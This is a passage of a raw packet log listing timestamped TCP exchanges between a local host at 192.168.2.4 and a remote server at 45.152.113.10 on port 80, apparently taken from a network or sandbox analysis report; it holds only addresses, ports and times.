Sep 11, 2024 22:52:06.536361933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536384106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536393881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536417007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536437035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536442041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536475897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536500931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536506891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536523104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536537886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536565065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536587000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536587954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536619902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536647081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536653042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536669016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536683083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536704063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536715984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536747932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536753893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536776066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536778927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536792994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536811113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536835909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536844015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536859989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536875010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536902905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536923885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536926031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536957026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.536983013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.536993980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537017107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537025928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537055969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537058115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537075043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537106991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537121058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537139893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537163019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537170887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537203074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537208080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537208080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537234068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537261009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537267923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537278891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537300110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537327051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537332058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537348986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537364960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537389040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537396908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537414074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537445068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537451029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537477970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537501097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537509918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537532091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537544966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537564993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537575006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537601948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537606001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537626028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537637949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537650108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537669897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537693977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537700891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537720919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537750959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537756920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537781954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537802935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537813902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537839890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537847042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537857056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537878990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537900925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537926912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537935019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537959099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.537977934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.537990093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538013935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538022995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538048029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538059950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538072109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538116932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538122892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538153887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538178921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538187027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538208008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538217068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538240910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538250923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538269997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538284063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538305044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538317919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538337946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538372040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538424969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538455963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538486958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538487911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538510084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538520098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538528919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538569927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538573980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538600922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538625956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538633108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538655996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538664103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538683891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538712025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538712978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538743973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538769007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538775921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538790941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538806915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538829088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538839102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538863897 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538866043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538887978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538907051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538914919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538947105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538969994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.538979053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.538994074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539011955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539031029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539060116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539067984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539093018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539114952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539124012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539144039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539165020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539177895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539212942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539216995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539243937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539264917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539273977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539302111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539305925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539321899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539336920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539362907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539382935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539408922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539443016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539469957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539477110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539495945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539509058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539532900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539556980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539568901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539588928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539612055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539619923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539652109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539659023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539697886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539700031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539717913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539731026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539755106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539766073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539778948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539798021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539819956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539829969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539855957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539877892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539879084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539911032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539931059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539942026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539969921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.539973974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.539988041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540008068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540031910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540054083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540056944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540087938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540111065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540119886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540138960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540152073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540174961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540189028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540203094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540236950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540246010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540268898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540291071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540301085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540319920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540333033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540354967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540383101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540385008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540415049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540437937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540446997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540457964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540479898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540499926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540513039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540537119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540559053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540560961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540594101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540616035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540627003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540652990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540659904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540678024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540712118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540713072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540760994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540776968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540793896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540812969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540826082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540847063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540859938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540875912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540906906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540911913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540939093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540961981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.540971041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.540992022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541002989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541027069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541033983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541049004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541065931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541088104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541098118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541120052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541130066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541147947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541172981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541194916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541222095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541223049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541254997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541274071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541286945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541307926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541318893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541344881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541366100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541367054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541399002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541420937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541430950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541457891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541464090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541477919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541496992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541518927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541544914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541553020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541577101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541598082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541609049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541626930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541640997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541661978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541671991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541683912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541703939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541726112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541734934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541747093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541768074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541788101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541799068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541815996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541831017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541856050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541877985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541878939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541909933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541929960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541940928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541966915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.541974068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.541986942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542022943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542026043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542054892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542076111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542087078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542109013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542119026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542145014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542150974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542167902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542201042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542201042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542234898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542253017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542268038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542287111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542299032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542323112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542341948 CEST	80	49733	45.152.113.10	192.168.2.4
